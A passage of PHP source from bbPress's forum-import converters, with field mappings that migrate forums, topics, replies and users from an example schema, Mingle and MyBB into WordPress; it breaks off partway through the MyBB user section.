			'callback_method' => 'callback_userid'
		);

		/** Favorites Section *************************************************/

		// Favorited topic ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'favorites_table',
			'from_fieldname'  => 'the_favorite_topic_id',
			'to_type'         => 'favorites',
			'to_fieldname'    => '_bbp_favorites'
		);

		// Favorited user ID (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'favorites_table',
			'from_fieldname'  => 'the_user_id',
			'to_type'         => 'favorites',
			'to_fieldname'    => 'user_id',
			'callback_method' => 'callback_userid'
		);

		/** Reply Section *****************************************************/

		// Setup table joins for the reply section at the base of this section

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_parent_forum_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_parent_topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_author_ip_address',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_author_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply title and reply slugs
		// Note: We don't actually want either a reply title or a reply slug as
		//       we want single replies to use their ID as the permalink.

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_content',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply order.
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_order',
			'to_type'         => 'reply',
			'to_fieldname'    => 'menu_order'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_parent_topic_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_creation_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_creation_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_modified_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'replies_table',
			'from_fieldname'  => 'the_reply_modified_date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		// Setup any table joins needed for the reply section
		$this->field_map[] = array(
			'from_tablename'  => 'topics_table',
			'from_fieldname'  => 'the_topic_id',
			'join_tablename'  => 'replies_table',
			'join_type'       => 'INNER',
			'join_expression' => 'USING topics_table.the_topic_id = replies_table.the_topic_id',
			'from_expression' => 'WHERE topics_table.first_post != 0',
			'to_type'         => 'reply'
		);

		/** User Section ******************************************************/

		// Setup table joins for the user section at the base of this section

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_id',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_password',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_password',
			'callback_method' => 'callback_savepass'
		);

		// Store old user salt (This is only used for the SELECT row info for the above password save)
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_password_salt',
			'to_type'         => 'user',
			'to_fieldname'    => ''
		);

		// User password verify class (Stored in usermeta for verifying password)
		$this->field_map[] = array(
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_class',
			'default' => 'Example'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_username',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users_table',
			'from_fieldname' => 'the_users_nicename',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_email_address',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_homepage_url',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_registration_date',
			'to_type'         => 'user',
			'to_fieldname'    => 'user_registered',
			'callback_method' => 'callback_datetime'
		);

		// User status.
		$this->field_map[] = array(
			'from_tablename' => 'users_table',
			'from_fieldname' => 'the_users_status',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_status'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users_table',
			'from_fieldname' => 'the_users_display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);

		// User Profile Field 1 (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_custom_profile_field_1',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_example_profile_field_1'
		);

		// User Profile Field 2 (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename'  => 'users_table',
			'from_fieldname'  => 'the_users_custom_profile_field_2',
			'to_type'         => 'user',
			'to_fieldname'    => '_bbp_example_profile_field_2'
		);

		// User Profile Field 3 (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users_table',
			'from_fieldname' => 'the_users_custom_profile_field_3',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_example_profile_field_3'
		);

		// Setup any table joins needed for the user section
		$this->field_map[] = array(
			'from_tablename'  => 'users_profile_table',
			'from_fieldname'  => 'the_users_id',
			'join_tablename'  => 'users_table',
			'join_type'       => 'INNER',
			'join_expression' => 'USING users_profile_table.the_user_id = users_table.the_user_id',
			'from_expression' => 'WHERE users_table.the_user_id != -1',
			'to_type'         => 'user'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together.  That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		$pass_array = array( 'hash' => $field, 'salt' => $row['salt'] );
		return $pass_array;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		$pass_array = unserialize( $serialized_pass );
		return ( $pass_array['hash'] == md5( md5( $password ). $pass_array['salt'] ) );
	}
}
includes/admin/converters/Mingle.php000066600000031512151771460310013573 0ustar00<?php

/**
 * bbPress Mingle Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of Mingle Forums converter.
 *
 * @since 2.3.0 bbPress (r4691)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/mingle
 */
class Mingle extends BBP_Converter_Base {

	/**
	 * Main constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals()	{

		// Setup smiley URL & path
		$this->bbcode_parser_properties = array(
			'smiley_url' => false,
			'smiley_dir' => false
		);

		/** Forum Section ******************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_forums',
			'from_fieldname' => 'id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_forums',
			'from_fieldname' => 'parent_id',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_parent_id'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forum_forums',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid confilcts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_forums',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);
		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forum_forums',
			'from_fieldname' => 'sort',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_date',
			'default'        => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_date_gmt',
			'default'        => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_modified',
			'default'        => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_modified_gmt',
			'default'        => date('Y-m-d H:i:s')
		);

		/** Topic Section ******************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_threads',
			'from_fieldname' => 'id',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'starter',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic content.
		// Note: We join the forum_posts table because forum_topics do not have topic content.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'text',
			'join_tablename'  => 'forum_threads',
			'join_type'       => 'INNER',
			'join_expression' => 'ON forum_posts.parent_id = forum_threads.id GROUP BY forum_threads.id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);
		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'forum_threads',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'status',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'date',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'last_post',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt'
		);
		$this->field_map[] = array(
			'from_tablename' => 'forum_threads',
			'from_fieldname' => 'last_post',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_last_active_time'
		);

		// Topic status (Open or Closed)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * Mingle Forums do not support topic tags
		 */

		/** Reply Section ******************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forum_posts',
			'from_fieldname' => 'id',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_old_reply_id'
		);

		// Setup reply section table joins
		// We need join the 'forum_threads' table to only import replies
		$this->field_map[] = array(
			'from_tablename'  => 'forum_threads',
			'from_fieldname'  => 'date',
			'join_tablename'  => 'forum_posts',
			'join_type'       => 'INNER',
			'join_expression' => 'ON forum_posts.parent_id = forum_threads.id',
			'from_expression' => 'WHERE forum_threads.subject != forum_posts.subject',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_last_active_time'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'author_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'text',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'parent_id',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'forum_posts',
			'from_fieldname'  => 'date',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'ID',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_pass',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_password'
		);

		// User name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_login',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_login'
		);

		// User nice name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_nicename',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_nicename'
		);

		// User email.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_email',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_email'
		);

		// User homepage.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_url',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_url'
		);

		// User registered.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_registered',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_registered'
		);

		// User status.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'user_status',
			'to_type'        => 'user',
			'to_fieldname'   => 'user_status'
		);

		// User display name.
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'display_name',
			'to_type'        => 'user',
			'to_fieldname'   => 'display_name'
		);
	}

	/**
	 * This method allows us to indicates what is or is not converted for each
	 * converter.
	 */
	public function info() {
		return '';
	}

	/**
	 * This method is to save the salt and password together. That
	 * way when we authenticate it we can get it out of the database
	 * as one value. Array values are auto sanitized by WordPress.
	 */
	public function callback_savepass( $field, $row ) {
		return false;
	}

	/**
	 * This method is to take the pass out of the database and compare
	 * to a pass the user has typed in.
	 */
	public function authenticate_pass( $password, $serialized_pass ) {
		return false;
	}

	/**
	 * Translate the topic status from Mingle numerics to WordPress's strings.
	 *
	 * @param int $status Mingle v1.x numeric topic status
	 * @return string WordPress safe
	 */
	public function callback_topic_status( $status = 0 ) {
		switch ( $status ) {
			case 1 :
				$status = 'closed';
				break;

			case 0  :
			default :
				$status = 'publish';
				break;
		}
		return $status;
	}

	/**
	 * Translate the topic sticky status type from Mingle numerics to WordPress's strings.
	 *
	 * @param int $status Mingle numeric forum type
	 * @return string WordPress safe
	 */
	public function callback_sticky_status( $status = 0 ) {
		switch ( $status ) {
			case 'sticky' :
				$status = 'sticky';       // Mingle Sticky 'status = sticky'
				break;

			case 'open'  :
			default :
				$status = 'normal';       // Mingle Normal Topic 'status = open'
				break;
		}
		return $status;
	}
}
includes/admin/converters/MyBB.php000066600000037575151771460310013170 0ustar00<?php

/**
 * bbPress MyBB Converter
 *
 * @package bbPress
 * @subpackage Converters
 */

/**
 * Implementation of MyBB Forum converter.
 *
 * @since 2.5.0 bbPress (r5140)
 *
 * @link Codex Docs https://codex.bbpress.org/import-forums/mybb
 */
class MyBB extends BBP_Converter_Base {

	/**
	 * Main Constructor
	 *
	 */
	public function __construct() {
		parent::__construct();
	}

	/**
	 * Sets up the field mappings
	 */
	public function setup_globals() {

		/** Forum Section *****************************************************/

		// Old forum id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'fid',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_old_forum_id'
		);

		// Forum parent id (If no parent, then 0, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'pid',
			'to_type'         => 'forum',
			'to_fieldname'    => '_bbp_old_forum_parent_id'
		);

		// Forum topic count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'threads',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_topic_count'
		);

		// Forum reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'posts',
			'to_type'        => 'forum',
			'to_fieldname'   => '_bbp_reply_count'
		);

		// Forum title.
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'name',
			'to_type'        => 'forum',
			'to_fieldname'   => 'post_title'
		);

		// Forum slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'name',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Forum description.
		$this->field_map[] = array(
			'from_tablename'  => 'forums',
			'from_fieldname'  => 'description',
			'to_type'         => 'forum',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_null'
		);

		// Forum display order (Starts from 1)
		$this->field_map[] = array(
			'from_tablename' => 'forums',
			'from_fieldname' => 'disporder',
			'to_type'        => 'forum',
			'to_fieldname'   => 'menu_order'
		);

		// Forum type (Set a default value 'forum', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_forum_type',
			'default'      => 'forum'
		);

		// Forum status (Set a default value 'open', Stored in postmeta)
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => '_bbp_status',
			'default'      => 'open'
		);

		// Forum dates.
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_date_gmt',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified',
			'default'      => date('Y-m-d H:i:s')
		);
		$this->field_map[] = array(
			'to_type'      => 'forum',
			'to_fieldname' => 'post_modified_gmt',
			'default'      => date('Y-m-d H:i:s')
		);

		/** Topic Section *****************************************************/

		// Old topic id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'threads',
			'from_fieldname' => 'tid',
			'to_type'        => 'topic',
			'to_fieldname'   => '_bbp_old_topic_id'
		);

		// Topic reply count (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic total reply count (Includes unpublished replies, Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'replies',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_total_reply_count',
			'callback_method' => 'callback_topic_reply_count'
		);

		// Topic parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_forumid'
		);

		// Topic author.
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'uid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Topic Author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'ipaddress',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE replyto = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_author_ip'
		);

		// Topic content.
		// Note: We join the 'posts' table because 'threads' table does not have content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'join_tablename'  => 'threads',
			'join_type'       => 'INNER',
			'join_expression' => 'USING (tid) WHERE replyto = 0',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Topic title.
		$this->field_map[] = array(
			'from_tablename' => 'threads',
			'from_fieldname' => 'subject',
			'to_type'        => 'topic',
			'to_fieldname'   => 'post_title'
		);

		// Topic slug (Clean name to avoid conflicts)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'subject',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_name',
			'callback_method' => 'callback_slug'
		);

		// Topic parent forum id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'fid',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_forumid'
		);

		// Sticky status (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'sticky',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_sticky_status_id',
			'callback_method' => 'callback_sticky_status'
		);

		// Topic dates.
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'lastpost',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'lastpost',
			'to_type'         => 'topic',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'lastpost',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_last_active_time',
			'callback_method' => 'callback_datetime'
		);

		// Topic status (Open or Closed, MyBB v1.6.10 open = null & closed = 1)
		$this->field_map[] = array(
			'from_tablename'  => 'threads',
			'from_fieldname'  => 'closed',
			'to_type'         => 'topic',
			'to_fieldname'    => '_bbp_old_closed_status_id',
			'callback_method' => 'callback_topic_status'
		);

		/** Tags Section ******************************************************/

		/**
		 * MyBB v1.6.10 Forums do not support topic tags out of the box
		 */

		/** Reply Section *****************************************************/

		// Old reply id (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'pid',
			'from_expression' => 'WHERE replyto != 0',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_old_reply_id'
		);

		// Reply parent forum id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'fid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_forum_id',
			'callback_method' => 'callback_topicid_to_forumid'
		);

		// Reply parent topic id (If no parent, then 0. Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => '_bbp_topic_id',
			'callback_method' => 'callback_topicid'
		);

		// Reply author ip (Stored in postmeta)
		$this->field_map[] = array(
			'from_tablename' => 'posts',
			'from_fieldname' => 'ipaddress',
			'to_type'        => 'reply',
			'to_fieldname'   => '_bbp_author_ip'
		);

		// Reply author.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'uid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_author',
			'callback_method' => 'callback_userid'
		);

		// Reply content.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'message',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_content',
			'callback_method' => 'callback_html'
		);

		// Reply parent topic id (If no parent, then 0)
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'tid',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_parent',
			'callback_method' => 'callback_topicid'
		);

		// Reply dates.
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'dateline',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_date_gmt',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edittime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified',
			'callback_method' => 'callback_datetime'
		);
		$this->field_map[] = array(
			'from_tablename'  => 'posts',
			'from_fieldname'  => 'edittime',
			'to_type'         => 'reply',
			'to_fieldname'    => 'post_modified_gmt',
			'callback_method' => 'callback_datetime'
		);

		/** User Section ******************************************************/

		// Store old user id (Stored in usermeta)
		$this->field_map[] = array(
			'from_tablename' => 'users',
			'from_fieldname' => 'uid',
			'to_type'        => 'user',
			'to_fieldname'   => '_bbp_old_user_id'
		);

		// Store old user password (Stored in usermeta serialized with salt)
		$this->field_map[] = array(
